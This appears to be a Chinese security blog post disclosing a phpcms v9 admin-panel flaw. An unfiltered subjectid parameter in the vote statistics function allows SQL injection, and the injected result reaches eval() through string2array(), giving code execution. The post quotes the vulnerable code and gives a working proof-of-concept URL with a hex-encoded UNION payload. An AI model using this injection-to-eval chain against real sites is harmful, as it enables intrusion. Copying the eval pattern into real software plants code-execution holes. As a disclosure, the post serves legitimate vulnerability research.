phpcms v9 后台的一个(sql injet)2(code exec)漏洞 - 脚本漏洞

  • A+
所属分类:lcx

    phpcms v9 后台的一个(sql injet)2(code exec)漏洞

    by flyh4t

    phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞

以下是引用片段:

function string2array($data) {
    if($data == '') return array();
    eval("$array = $data;");
    return $array;
}

    比如投票结果统计(需要后台权限)

以下是引用片段:

/moudles/vote/vote.php
/**
     * 投票结果统计
     */
    public function statistics() {
            $subjectid = $_GET['subjectid'];
            $show_validator = $show_scroll = $show_header = true;
             //获取投票信息
            $sdb = pc_base::load_model('vote_data_model'); //加载投票统计的数据模型
            $infos = $sdb->select("subjectid = $subjectid",'data');    //$subjectid没有过滤
              //新建一数组用来存新组合数据
            $total = 0;
            $vote_data =array();
            $vote_data['total'] = 0 ;//所有投票选项总数
            $vote_data['votes'] = 0 ;//投票人数
            //循环每个会员的投票记录
            foreach($infos as $subjectid_arr) {//通过sql注入漏洞控制结果
                    extract($subjectid_arr);
                     $arr = string2array($data);//进入eval函数
                     foreach($arr as $key => $values){
                         $vote_data[$key]+=1;
                    }
                      $total += array_sum($arr);
                    $vote_data['votes']++ ;
            }
             $vote_data['total'] = $total ;
             //取投票选项
            $options = $this->db2->get_options($subjectid);   
            include $this->admin_tpl('vote_statistics');   
    }

Poc 代码:

index.php?m=vote&c=vote&a=statistics&show_type=1&subjectid=0 union select 0x706870696E666F2829/*&siteid=1&pc_hash=LFeCIl

pc_hash 每次不一样。

    那个date其实是表里的一个字段,通过extract注册成$date,想控制它肯定要能改变执行语句,所以注入漏洞就派上用场了

文章来源于lcx.cc:phpcms v9 后台的一个(sql injet)2(code exec)漏洞 - 脚本漏洞

相关推荐: MS11-071 漏洞利用具体方法

    Windows漏洞(MS11-071),运行txt文本可中毒,微软急修“文本病毒”漏洞:https://lcx.cc/post/1787/     MS11-071:Windows 组件中可能允许远程执行代码漏洞:https://lcx.cc/post…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: